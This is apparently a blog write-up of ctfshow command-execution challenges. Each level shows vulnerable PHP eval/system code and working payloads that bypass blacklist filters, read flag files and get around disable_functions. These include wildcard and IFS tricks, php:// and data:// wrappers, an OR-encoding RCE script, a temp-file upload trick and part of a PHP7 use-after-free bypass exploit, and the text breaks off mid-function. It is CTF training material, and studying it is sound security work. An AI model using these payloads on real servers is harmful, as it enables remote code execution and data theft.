当前位置:   article > 正文

ctfshow 命令执行_blueiris ctfshow

blueiris ctfshow

目录

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

web50

web51

web52

web53

web54

web55

web56

web57

web58

web59

web60

web61-63

web64

web65

web66-67

web68

web69-70

web71

web72

web73

web74

web75

web76

web77

web118

web119

web120

web121

web122

web124


web29

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag/i", $c)){
  6. eval($c);
  7. }
  8. }else{
  9. highlight_file(__FILE__);
  10. }

查看源码发现只过滤了flag字符串,我们只需构造如下payload即可(通配符绕过)

?c=system('cat f*'); //? 也行

也可以使用重造变量的方法来读取flag

?c=system($_GET['a']);&a=cat flag.php;

使用双引号过滤

?c=echo `cat fl''ag.php`;  //反引号功能是执行系统命令

web30

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c = $_GET['c'];
  4. if(!preg_match("/flag|system|php/i", $c)){
  5. eval($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

过滤了flag,system,php限制了大小写,使用引号绕过

?c=echo `cat fl''ag.p''hp`';
  1. # 用tac绕过对cat的过滤
  2. # 用%09绕过对空格的过滤
  3. ?c=echo`tac%09fl*`;
  4. # 用passthru绕过system的过滤
  5. # tac饶过cat的过滤
  6. ?c=passthru("tac%09f*");
  7. show_source(next(array_reverse(scandir(pos(localeconv())))));

web31

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c = $_GET['c'];
  4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
  5. eval($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

又过滤了.和空格、cat,用重造变量的方法

?c=eval($_GET[1]);&1=echo `tac flag.php`

web32

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c = $_GET['c'];
  4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
  5. eval($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这题又过滤了echo,反引号,分号以及单括号,单括号,学习了别人的wp。

分号可以用?>绕过,因为PHP最后一条语句不需要分号。单括号的绕过,要用到不需要括号的函数,比如include,之后配合php伪协议读取flag.php源码,进行base64解码

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

虽然又过滤了一个双引号,但无伤大雅,继续用上一题的伪协议思路即可

web34

虽然又又过滤了冒号,但只对参数c进行了过滤,我们依旧可以用上一题的payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

虽然叒过滤了<,但对参数c依旧无伤大雅,同上题

web36

这题新增了0-9数字的限制,但我们只需将get传参的内容改为字母即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

  1. <?php
  2. //flag in flag.php
  3. error_reporting(0);
  4. if(isset($_GET['c'])){
  5. $c = $_GET['c'];
  6. if(!preg_match("/flag/i", $c)){
  7. include($c);
  8. echo $flag;
  9. }
  10. }else{
  11. highlight_file(__FILE__);
  12. }

过滤了flag,我们利用data协议

  1. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  2. //编码是<?php system('cat flag.php');?>
  3. //或者
  4. ?c=data://text/plain,<?php system('cat fla*');?>

web38

新增过滤了php,file我们利用data协议即可

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

而且还有个新姿势:

我们知道php文档中,每当读取该文档时,它会查找<?php 和?>标签,然后只处理上述两个标签中的代码,并在其周围留下其他代码。

例如:

  1. <?php
  2. echo "Hello PHP !";
  3. ?>
  4. //输出Hello PHP !

但还有一种简洁形式,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用<?=标签来输出,例:

<?= "Hello PHP !"?>

 说明:“<?=”是PHP的一个短的开放式标签,是echo()的快捷用法。可以用短标签代替php执行,因此会构造如下payload

?c=data://text/plain,<?=system('tac fl*');?>

web39

  1. <?php
  2. //flag in flag.php
  3. error_reporting(0);
  4. if(isset($_GET['c'])){
  5. $c = $_GET['c'];
  6. if(!preg_match("/flag/i", $c)){
  7. include($c.".php");
  8. }
  9. }else{
  10. highlight_file(__FILE__);
  11. }

该题自动为我们增加了后缀php,但依旧可以data协议

data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

直接payload:

?c=data://text/plain,<?= system("cat fla*");?>

web40

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c = $_GET['c'];
  4. if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
  5. eval($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

该题把中文字符都过滤了,我们只能用英文字符,参考大佬的wp,这里要用无参数的rce

先简单学习一下,参考:PHP Parametric Function RCE · sky's blog

无参数读取文件

  1. 1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  2. 2. pos():返回数组中当前元素的值
  3. 3. scandir():获取目录下的文件
  4. 4. array_reverse():将数组逆序排列
  5. 5. next():函数将内部指针指向下一元素,并输出
  6. 6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
  7. 7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  8. 8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
  1. 1. print_r() 函数用于打印变量,以更容易理解的形式展示
  2. 2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。

这里的localeconv函数返回的数组的第一个“点号”,在linux中代表当前目录,因此我们可以用参数调用到点号,进而查看当前目录的文件

print_r(localeconv());

 如下图第一个元素为点号

 利用上述结论可以构造如下payload:

print_r(scandir(pos(localeconv())));   //查看点号(也就是当前目录下的文件)

 如上图看到有flag.php文件,处于倒数第二个位置

在补充如下知识点

  1. array_reverse() 函数以相反的元素顺序返回数组
  2. next() 函数将内部指针指向数组中的下一个元素,并输出。
  3. highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来
  4. //构造如下payload:
  5. highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
  6. //上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显
  7. 或者
  8. #pos()与current()作用相同 readfile()与作用相同highlight_file()
  9. ?c=readfile(next(array_reverse(scandir(current(localeconv())))));
  10. #show_source()与作用相同highlight_file()
  11. ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

还有第二个方法:详情可看上文中链接文章

首先get_defined_vars()函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容

如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数

利用pos返回当前元素的值

在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据

 再用end函数

接着在sky写入读取flag的命令

最终payload为:

?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');

web41

  1. <?php
  2. if(isset($_POST['c'])){
  3. $c = $_POST['c'];
  4. if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
  5. eval("echo($c);");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>

这次过滤所有字母和数字以及一堆符号 但是留下了一个或运算符 |

参考大佬的wp这题需要用脚本,利用或运算符进行绕过

这里可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

  1. # 生成可用字符的集合
  2. # rce_or.php
  3. <?php
  4. $myfile = fopen("rce_or.txt", "w");
  5. $contents="";
  6. for ($i=0; $i < 256; $i++) {
  7. for ($j=0; $j <256 ; $j++) {
  8. if($i<16){
  9. $hex_i='0'.dechex($i);
  10. }
  11. else{
  12. $hex_i=dechex($i);
  13. }
  14. if($j<16){
  15. $hex_j='0'.dechex($j);
  16. }
  17. else{
  18. $hex_j=dechex($j);
  19. }
  20. $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
  21. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  22. echo "";
  23. }
  24. else{
  25. $a='%'.$hex_i;
  26. $b='%'.$hex_j;
  27. $c=(urldecode($a)|urldecode($b));
  28. if (ord($c)>=32&ord($c)<=126) {
  29. $contents=$contents.$c." ".$a." ".$b."\n";
  30. }
  31. }
  32. }
  33. }
  34. fwrite($myfile,$contents);
  35. fclose($myfile);
  1. # 用法python exp.py <url>
  2. # -*- coding: utf-8 -*-
  3. import requests
  4. import urllib
  5. from sys import *
  6. import os
  7. os.system("php rce_or.php") #没有将php写入环境变量需手动运行
  8. if(len(argv)!=2):
  9. print("="*50)
  10. print('USER:python exp.py <url>')
  11. print("eg: python exp.py http://ctf.show/")
  12. print("="*50)
  13. exit(0)
  14. url=argv[1]
  15. def action(arg):
  16. s1=""
  17. s2=""
  18. for i in arg:
  19. f=open("rce_or.txt","r")
  20. while True:
  21. t=f.readline()
  22. if t=="":
  23. break
  24. if t[0]==i:
  25. #print(i)
  26. s1+=t[2:5]
  27. s2+=t[6:9]
  28. break
  29. f.close()
  30. output="(\""+s1+"\"|\""+s2+"\")"
  31. return(output)
  32. while True:
  33. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
  34. data={
  35. 'c':urllib.parse.unquote(param)
  36. }
  37. r=requests.post(url,data=data)
  38. print("\n[*] result:\n"+r.text)

web42

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. system($c." >/dev/null 2>&1");
  5. }else{
  6. highlight_file(__FILE__);
  7. }

这里先了解一下代码中的>/dev/null 2>&1

>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件

/dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。

/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞

  1. 1:> 代表重定向到哪里,例如:echo123” > /home/123.txt
  2. 2:/dev/null 代表空设备文件
  3. 32> 表示stderr标准错误
  4. 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
  5. 51 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null
  6. 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1

payload:

  1. ?c=tac flag.php;ls
  2. ;前面的被执行了返回结果,后面的执行了被放入/dev/null

web43

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里过滤了cat与分号,构造如下payload

  1. c=nl flag.php||
  2. c=tac flag.php||

web44

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|cat|flag/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里又过滤了flag,我们可以使用通配符绕过或者拼接字符串的方式,payload如下

  1. ?c=tac fl''ag.php||
  2. ?c=tac fl*.php||

web45

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| /i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里又过滤了空格,构造如下payload

  1. ?c=tac${IFS}fl*||
  2. 也可以用%09或者<绕过 //%09是Tab的url编码

web46

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里又过滤了数字,通配符以及$,payload如下

使用?绕过对*的过滤

"?"和"*"的区别:

?只能通配某个字符,如flag.php -> fla?.php fl??.ph?

*可以通配整个字符串,如flag.php -> f*

  1. ?c=nl%09fl?g.php|| //这里%09还能用是因为,传入时会进行url解码,将其解析为Tab键
  2. ?c=tac%09fla?.php||
  3. ?c=nl<fla''g.php||

web47

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

过滤多了more less head sort tail,不过无伤大雅依旧用之前的payload

?c=nl%09fl?g.php||

web48

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

过滤了sed cut awk strings od curl以及反引号,还是用上题的payload

?c=nl%09fl?g.php||

web49

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里过滤了% ,不过依旧无碍

  1. c=tac%09fla?.php||
  2. c=nl<fla''g.php||

web50

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

%09,以及&(x26)被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠\或者引号来绕过,注:nl不支持通配符使用引号分割

payload:tac<>fl''ag.php||

web51

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里过滤了tac,可以用nl也可以字符串拼接

  1. ?c=ca\t<>fl''ag.php||
  2. ?c=nl<fl''ag.php||

web52

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

这里又过滤了<,>但仔细观察发现$又不在黑名单了,这就好办了

  1. ?c=nl${IFS}/fl''ag||
  2. //但这里注意flag在根目录下,并不在flag.php

web53

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
  5. echo($c);
  6. $d = system($c);
  7. echo "<br>".$d;
  8. }else{
  9. echo 'no';
  10. }
  11. }else{
  12. highlight_file(__FILE__);
  13. }

这里换成直接明了的echo,system了,那我们直接执行就行

?c=nl${IFS}/fl''ag||

web54

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
  5. system($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

蒙了,过滤的这么彻底,彻底过滤了通配符*     , 用 多个?代替

nl也被过滤了,可以使用uniq代替nl,借鉴大佬的

uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload

?c=uniq${IFS}f???????

其他payload

  1. #可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
  2. ?c=mv${IFS}fla?.php${IFS}a.txt
  3. # 使用执行文件目录+?来绕过被过滤的命令
  4. ?c=/bin/?at${IFS}f???????

web55

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
  5. system($c);
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }

过滤了 字母、分号、反引号、"%09"、"%26"和 <>,看看大佬

payload1:

同样是利用bin目录

  1. bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
  2. 这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

使用base64对flag.php进行加密同时使用?绕过字母的限制

?c=/???/????64%20????.???  # /bin/base64 flag.php

payload2:

利用/usr/bin目录

  1. 主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
  2. 我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

payload3:参考无字母数字webshell

web56

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_GET['c'])){
  4. $c=$_GET['c'];
  5. if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
  6. system($c);
  7. }
  8. }else{
  9. highlight_file(__FILE__);
  10. }

这里又将数字过滤了,参考无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

总结一下:shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>POST数据包POC</title>
  7. </head>
  8. <body>
  9. <form action="http://11a8783c-659e-4028-ab16-40fb589ef16d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
  10. <!--目标网址-->
  11. <label for="file">文件名:</label>
  12. <input type="file" name="file" id="file"><br>
  13. <input type="submit" name="submit" value="提交">
  14. </form>
  15. </body>
  16. </html>

构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

?c=.%20/???/????????[@-[]

这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).

web57

  1. <?php
  2. // 还能炫的动吗?
  3. //flag in 36.php
  4. if(isset($_GET['c'])){
  5. $c=$_GET['c'];
  6. if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
  7. system("cat ".$c.".php");
  8. }
  9. }else{
  10. highlight_file(__FILE__);
  11. }

这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法

这里利用 $(( ))与整数运算。想办法构造出36

  1. 双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
  2. 通俗地讲,就是将数学运算表达式放在((和))之间。
  3. 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
  4. 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
  5. 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
  6. 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

  1. $(())是0
  2. $((~$(())))是-1
  3. $(($((~$(())))$((~$(())))))是-2
  4. 这里要构造36,也就是要先构造出-37 然后取反
  5. -3737个$((~$(())))相加
  6. 最终payload
  7. ?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

这道题因为disable_functions禁用了system exec popen passthru

使用读文件函数拿flag

  1. file_get_contents()
  2. highlight_file()
  3. show_source()
  4. fgets()
  5. file()
  6. readfile()

没有过滤直接用

  1. #payload1
  2. c=highlight_file("flag.php");
  3. #payload2
  4. c=show_source('flag.php');
  5. #payload3
  6. c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}
  7. c=show_source(next(array_reverse(scandir(current(localeconv())))));
  8. c=echo file_get_contents('flag.php');
  9. c=print_r(file('flag.php'));

web59

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

过滤了更多函数

  1. 这些还可以用
  2. highlight_file()
  3. show_source()
  4. fgets()
  5. file()
  1. 可以用web58的payload
  2. //在源代码
  3. c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
  4. c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
  5. c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
  6. c=$a=fopen("flag.php","r");echo fread($a,"1000");
  7. c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

禁用了更多函数

  1. c=show_source("flag.php");
  2. //奇淫巧技0.0
  3. #通过复制,重命名读取php文件内容
  4. c=copy("flag.php","flag.txt");
  5. c=rename("flag.php","flag.txt");
  6. #访问flag.txt
  7. //之前payload还能用,自己试试
  8. c=show_source(next(array_reverse(scandir(current(localeconv())))));
  9. c=show_source('flag.php');
  10. c=highlight_file('flag.php');

web61-63

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

下列payload通杀

  1. c=show_source(next(array_reverse(scandir(current(localeconv())))));
  2. c=show_source('flag.php');
  3. c=highlight_file('flag.php');

web64

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

这题用上一题的payload也可以,但还有一个新姿势

  1. var_dump() 函数用于输出变量的相关信息。
  2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。

因此我们用var_dump(get_defined_vars());查看一下所有的注册变量

那么我们可以注册一个包含flag.php的变量

payload如下:

  1. c=include('flag.php');var_dump(get_defined_vars());
  2. c=show_source(next(array_reverse(scandir(current(localeconv())))));
  3. c=highlight_file('flag.php');
  4. c=show_source('flag.php');

web65

web64payload都可以

web66-67

  1. <?php
  2. // 你们在炫技吗?
  3. if(isset($_POST['c'])){
  4. $c= $_POST['c'];
  5. eval($c);
  6. }else{
  7. highlight_file(__FILE__);
  8. }

这回show_source()函数被禁用了,而且flag放的位置也改变了

  1. c=print_r(scandir("/")); #查看根目录文件 print_r被过滤可以换var_dump
  2. # 注意根目录是flag.txt
  3. c=highlight_file("/flag.txt");

web68

提示说highlight_file()函数也被禁用了,我们先继续查看根目录

尝试直接include包含

c=include('/flag.txt');

web69-70

这个题将var_dump也禁用了,看了下wp说是用多种遍历数组来进行

  1. # 多种遍历数组姿势
  2. # 1
  3. c=$a=scandir("/");foreach($a as $value){echo $value."---";}
  4. # 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
  5. c=$a=glob("/*");foreach($a as $value){echo $value." ";}
  6. # 3
  7. c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
  8. //这里的关键函数DirectoryIterator是PHP的原生类

web71

  1. <?php
  2. error_reporting(0);
  3. ini_set('display_errors', 0);
  4. // 你们在炫技吗?
  5. if(isset($_POST['c'])){
  6. $c= $_POST['c'];
  7. eval($c);
  8. $s = ob_get_contents();
  9. ob_end_clean();
  10. echo preg_replace("/[0-9]|[a-z]/i","?",$s);
  11. }else{
  12. highlight_file(__FILE__);
  13. }
  14. ?>
  15. 你要上天吗?

新知识

  1. ob_get_contents() 返回输出缓冲区的内容
  2. ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲

代码执行的大概流程是 传参--命令执行--执行结果存在$s中--清空输出缓冲区--对$s进行过滤

由于清空输出缓冲区 传入的命令也就无法执行 这里要做的就是把代码终止在清空输出缓冲区之前使用exit()强制退出

c=include('/flag.txt');exit();

web72

  1. <?php
  2. error_reporting(0);
  3. ini_set('display_errors', 0);
  4. // 你们在炫技吗?
  5. if(isset($_POST['c'])){
  6. $c= $_POST['c'];
  7. eval($c);
  8. $s = ob_get_contents();
  9. ob_end_clean();
  10. echo preg_replace("/[0-9]|[a-z]/i","?",$s);
  11. }else{
  12. highlight_file(__FILE__);
  13. }
  14. ?>
  15. 你要上天吗?

看了佬的wp,先输入c=var_dump(scandir('/'));发现被open_basedir()限制了且ini_set()被禁用

我们可以尝试通过glob伪协议绕过绕过open_basedir限制

payload

  1. c=?><?php $a=new DirectoryIterator("glob:///*");
  2. foreach($a as $f)
  3. {echo($f->__toString().' ');
  4. }
  5. exit(0);
  6. ?>

利用群主提供的uaf脚本绕过open_basedir进行命令执行来包含flag0.txt

原始脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

  1. // 只需提交函数内容 记得url编码
  2. <?php
  3. function ctfshow($cmd)
  4. {
  5. global $abc, $helper, $backtrace;
  6. class Vuln
  7. {
  8. public $a;
  9. public function __destruct()
  10. {
  11. global $backtrace;
  12. unset($this->a);
  13. $backtrace = (new Exception)->getTrace();
  14. if (!isset($backtrace[1]['args'])) {
  15. $backtrace = debug_backtrace();
  16. }
  17. }
  18. }
  19. class Helper
  20. {
  21. public $a, $b, $c, $d;
  22. }
  23. function str2ptr(&$str, $p = 0, $s = 8)
  24. {
  25. $address = 0;
  26. for ($j = $s - 1; $j >= 0; $j--) {
  27. $address <<= 8;
  28. $address |= ord($str[$p + $j]);
  29. }
  30. return $address;
  31. }
  32. function ptr2str($ptr, $m = 8)
  33. {
  34. $out = "";
  35. for ($i = 0; $i < $m; $i++) {
  36. $out .= sprintf("%c", ($ptr & 0xff));
  37. $ptr >>= 8;
  38. }
  39. return $out;
  40. }
  41. function write(&$str, $p, $v, $n = 8)
  42. {
  43. $i = 0;
  44. for ($i = 0; $i < $n; $i++) {
  45. $str[$p + $i] = sprintf("%c", ($v & 0xff));
  46. $v >>= 8;
  47. }
  48. }
  49. function leak($addr, $p = 0, $s = 8)
  50. {
  51. global $abc, $helper;
  52. write($abc, 0x68, $addr + $p - 0x10);
  53. $leak = strlen($helper->a);
  54. if ($s != 8) {
  55. $leak %= 2 << ($s * 8) - 1;
  56. }
  57. return $leak;
  58. }
  59. function parse_elf($base)
  60. {
  61. $e_type = leak($base, 0x10, 2);
  62. $e_phoff = leak($base, 0x20);
  63. $e_phentsize = leak($base, 0x36, 2);
  64. $e_phnum = leak($base, 0x38, 2);
  65. for ($i = 0; $i < $e_phnum; $i++) {
  66. $header = $base + $e_phoff + $i * $e_phentsize;
  67. $p_type = leak($header, 0, 4);
  68. $p_flags = leak($header, 4, 4);
  69. $p_vaddr = leak($header, 0x10);
  70. $p_memsz = leak($header, 0x28);
  71. if ($p_type == 1 && $p_flags == 6) {
  72. $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  73. $data_size = $p_memsz;
  74. } else if ($p_type == 1 && $p_flags == 5) {
  75. $text_size = $p_memsz;
  76. }
  77. }
  78. if (!$data_addr || !$text_size || !$data_size)
  79. return false;
  80. return [$data_addr, $text_size, $data_size];
  81. }
  82. function get_basic_funcs($base, $elf)
  83. {
